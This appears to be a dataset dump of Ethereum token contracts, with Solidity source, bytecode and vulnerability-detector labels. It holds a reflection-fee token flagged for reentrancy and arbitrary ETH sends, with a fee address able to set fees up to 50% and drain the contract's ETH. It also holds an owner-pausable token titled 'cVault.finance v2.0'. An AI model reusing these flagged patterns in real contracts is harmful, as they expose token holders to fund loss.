(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 100000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (1800 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
| 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610342578063c3c8cd8014610362578063c9567bf914610377578063db92dbb61461038c578063dd62ed3e146103a1578063e8078d94146103e757600080fd5b8063715018a6146102c65780638da5cb5b146102db57806395d89b4114610145578063a9059cbb14610303578063a985ceef1461032357600080fd5b8063313ce567116100fd578063313ce5671461021357806345596e2e1461022f5780635932ead11461025157806368a3a6a5146102715780636fc3eaec1461029157806370a08231146102a657600080fd5b806306fdde0314610145578063095ea7b31461018757806318160ddd146101b757806323b872dd146101de57806327f3a72a146101fe57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082018252600a815269536869686f7520496e7560b01b6020820152905161017e9190611a29565b60405180910390f35b34801561019357600080fd5b506101a76101a2366004611981565b6103fc565b604051901515815260200161017e565b3480156101c357600080fd5b5069021e19e0c9bab24000005b60405190815260200161017e565b3480156101ea57600080fd5b506101a76101f9366004611941565b610413565b34801561020a57600080fd5b506101d061047c565b34801561021f57600080fd5b506040516009815260200161017e565b34801561023b57600080fd5b5061024f61024a3660046119e4565b61048c565b005b34801561025d57600080fd5b5061024f61026c3660046119ac565b610535565b34801561027d57600080fd5b506101d061028c3660046118d1565b6105b4565b34801561029d57600080fd5b5061024f6105d7565b3480156102b257600080fd5b506101d06102c13660046118d1565b610604565b3480156102d257600080fd5b5061024f610626565b3480156102e757600080fd5b506000546040516001600160a01b03909116815260200161017e565b34801561030f57600080fd5b506101a761031e366004611981565b61069a565b34801561032f57600080fd5b50601354600160a81b900460ff166101a7565b34801561034e57600080fd5b506101d061035d3660046118d1565b6106a7565b34801561036e57600080fd5b5061024f6106cd565b34801561038357600080fd5b5061024f610703565b34801561039857600080fd5b506101d0610751565b3480156103ad57600080fd5b506101d06103bc366004611909565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f357600080fd5b5061024f610769565b6000610409338484610b1e565b5060015b92915050565b6000610420848484610c42565b610472843361046d85604051806060016040528060288152602001611bc9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611180565b610b1e565b5060019392505050565b600061048730610604565b905090565b6011546001600160a01b0316336001600160a01b0316146104ac57600080fd5b603381106104f95760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461055f5760405162461bcd60e51b81526004016104f090611a7c565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161052a565b6001600160a01b03811660009081526006602052604081205461040d9042611b78565b6011546001600160a01b0316336001600160a01b0316146105f757600080fd5b47610601816111ba565b50565b6001600160a01b03811660009081526002602052604081205461040d906111f4565b6000546001600160a01b031633146106505760405162461bcd60e51b81526004016104f090611a7c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610409338484610c42565b6001600160a01b03811660009081526006602052604081206001015461040d9042611b78565b6011546001600160a01b0316336001600160a01b0316146106ed57600080fd5b60006106f830610604565b905061060181611278565b6000546001600160a01b0316331461072d5760405162461bcd60e51b81526004016104f090611a7c565b6013805460ff60a01b1916600160a01b17905561074c42610708611b21565b601455565b601354600090610487906001600160a01b0316610604565b6000546001600160a01b031633146107935760405162461bcd60e51b81526004016104f090611a7c565b601354600160a01b900460ff16156107ed5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f0565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082b308269021e19e0c9bab2400000610b1e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086457600080fd5b505afa158015610878573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089c91906118ed565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e457600080fd5b505afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c91906118ed565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561096457600080fd5b505af1158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c91906118ed565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109cc81610604565b6000806109e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4457600080fd5b505af1158015610a58573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7d91906119fc565b505068056bc75e2d631000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610ae257600080fd5b505af1158015610af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1a91906119c8565b5050565b6001600160a01b038316610b805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f0565b6001600160a01b038216610be15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f0565b6001600160a01b038216610d085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f0565b60008111610d6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f0565b6000546001600160a01b03848116911614801590610d9657506000546001600160a01b03838116911614155b1561112357601354600160a81b900460ff1615610e16573360009081526006602052604090206002015460ff16610e1657604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b038481169116148015610e4157506012546001600160a01b03838116911614155b8015610e6657506001600160a01b03821660009081526005602052604090205460ff16155b15610fc557601354600160a01b900460ff16610ec45760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104f0565b6007600a55601354600160a81b900460ff1615610f8b57426014541115610f8b57601054811115610ef457600080fd5b6001600160a01b0382166000908152600660205260409020544211610f665760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104f0565b610f7142602d611b21565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff1615610fc557610fa842600f611b21565b6001600160a01b0383166000908152600660205260409020600101555b6000610fd030610604565b601354909150600160b01b900460ff16158015610ffb57506013546001600160a01b03858116911614155b80156110105750601354600160a01b900460ff165b15611121576007600a55601354600160a81b900460ff16156110a2576001600160a01b03841660009081526006602052604090206001015442116110a25760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104f0565b801561110f57600b546013546110d8916064916110d291906110cc906001600160a01b0316610604565b9061141d565b9061149c565b81111561110657600b54601354611103916064916110d291906110cc906001600160a01b0316610604565b90505b61110f81611278565b47801561111f5761111f476111ba565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061116557506001600160a01b03831660009081526005602052604090205460ff165b1561116e575060005b61117a848484846114de565b50505050565b600081848411156111a45760405162461bcd60e51b81526004016104f09190611a29565b5060006111b18486611b78565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b1a573d6000803e3d6000fd5b600060075482111561125b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f0565b600061126561150c565b9050611271838261149c565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561132257600080fd5b505afa158015611336573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135a91906118ed565b8160018151811061137b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546113a19130911684610b1e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113da908590600090869030904290600401611ab1565b600060405180830381600087803b1580156113f457600080fd5b505af1158015611408573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b60008261142c5750600061040d565b60006114388385611b59565b9050826114458583611b39565b146112715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f0565b600061127183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152f565b806114eb576114eb61155d565b6114f684848461158b565b8061117a5761117a600e54600955600f54600a55565b6000806000611519611682565b9092509050611528828261149c565b9250505090565b600081836115505760405162461bcd60e51b81526004016104f09190611a29565b5060006111b18486611b39565b60095415801561156d5750600a54155b1561157457565b60098054600e55600a8054600f5560009182905555565b60008060008060008061159d876116c6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115cf9087611723565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115fe9086611765565b6001600160a01b038916600090815260026020526040902055611620816117c4565b61162a848361180e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166f91815260200190565b60405180910390a3505050505050505050565b600754600090819069021e19e0c9bab240000061169f828261149c565b8210156116bd5750506007549269021e19e0c9bab240000092509050565b90939092509050565b60008060008060008060008060006116e38a600954600a54611832565b92509250925060006116f361150c565b905060008060006117068e878787611881565b919e509c509a509598509396509194505050505091939550919395565b600061127183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611180565b6000806117728385611b21565b9050838110156112715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f0565b60006117ce61150c565b905060006117dc838361141d565b306000908152600260205260409020549091506117f99082611765565b30600090815260026020526040902055505050565b60075461181b9083611723565b60075560085461182b9082611765565b6008555050565b600080808061184660646110d2898961141d565b9050600061185960646110d28a8961141d565b905060006118718261186b8b86611723565b90611723565b9992985090965090945050505050565b6000808080611890888661141d565b9050600061189e888761141d565b905060006118ac888861141d565b905060006118be8261186b8686611723565b939b939a50919850919650505050505050565b6000602082840312156118e2578081fd5b813561127181611ba5565b6000602082840312156118fe578081fd5b815161127181611ba5565b6000806040838503121561191b578081fd5b823561192681611ba5565b9150602083013561193681611ba5565b809150509250929050565b600080600060608486031215611955578081fd5b833561196081611ba5565b9250602084013561197081611ba5565b929592945050506040919091013590565b60008060408385031215611993578182fd5b823561199e81611ba5565b946020939093013593505050565b6000602082840312156119bd578081fd5b813561127181611bba565b6000602082840312156119d9578081fd5b815161127181611bba565b6000602082840312156119f5578081fd5b5035919050565b600080600060608486031215611a10578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a5557858101830151858201604001528201611a39565b81811115611a665783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b005784516001600160a01b031683529383019391830191600101611adb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3457611b34611b8f565b500190565b600082611b5457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b7357611b73611b8f565b500290565b600082821015611b8a57611b8a611b8f565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461060157600080fd5b801515811461060157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d6ad56c41b393ef8a742d2e581e47096ac52720111500944071e9160453143264736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,517 |
0xed643487779043743d282efa9e59daef01bca38b | pragma solidity ^0.5.0;
/*****************************************************************************
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
/*****************************************************************************
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*****************************************************************************
* @dev Basic implementation of the `IERC20` interface.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/*****************************************************************************
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/*****************************************************************************
* @title cVault.finance v2.0
* @dev cVault.finance v2.0 is an ERC20 implementation of the cVault.finance v2.0 ecosystem token.
* All tokens are initially pre-assigned to the creator, and can later be distributed
* freely using transfer transferFrom and other ERC20 functions.
*/
contract CORE2 is Ownable, ERC20Pausable {
string public constant name = "cVault.finance v2.0";
string public constant symbol = "CVF";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 10000*10**uint256(decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public {
_mint(msg.sender, initialSupply);
}
/**
* @dev Destoys `amount` tokens from the caller.
*
* See `ERC20._burn`.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev See `ERC20._burnFrom`.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
event DepositReceived(address indexed from, uint256 value);
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610428565b604080519115158252519081900360200190f35b6101f6610453565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610459565b610246610486565b6040805160ff9092168252519081900360200190f35b6101f661048b565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610499565b6102986104bd565b005b610298600480360360208110156102b057600080fd5b5035610564565b6101da610571565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b0316610581565b610298600480360360408110156102fb57600080fd5b506001600160a01b03813516906020013561059c565b6102986105aa565b610321610658565b604080516001600160a01b039092168252519081900360200190f35b6101da610667565b610139610678565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610697565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106bb565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106df565b610298600480360360208110156103e957600080fd5b50356001600160a01b031661070a565b604051806040016040528060138152602001720635661756c742e66696e616e63652076322e3606c1b81525081565b600354600090600160a01b900460ff161561044257600080fd5b61044c8383610804565b9392505050565b60025490565b600354600090600160a01b900460ff161561047357600080fd5b61047e84848461081a565b949350505050565b601281565b69021e19e0c9bab240000081565b600354600090600160a01b900460ff16156104b357600080fd5b61044c8383610871565b6104c5610667565b610516576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052c57600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056e33826108ad565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105a68282610986565b5050565b6105b2610667565b610603576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061a57600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b6040518060400160405280600381526020016221ab2360e91b81525081565b600354600090600160a01b900460ff16156106b157600080fd5b61044c83836109cb565b600354600090600160a01b900460ff16156106d557600080fd5b61044c8383610a07565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610712610667565b610763576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a85760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1d6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610811338484610a14565b50600192915050565b6000610827848484610b00565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610867918691610862908663ffffffff610c4216565b610a14565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610811918590610862908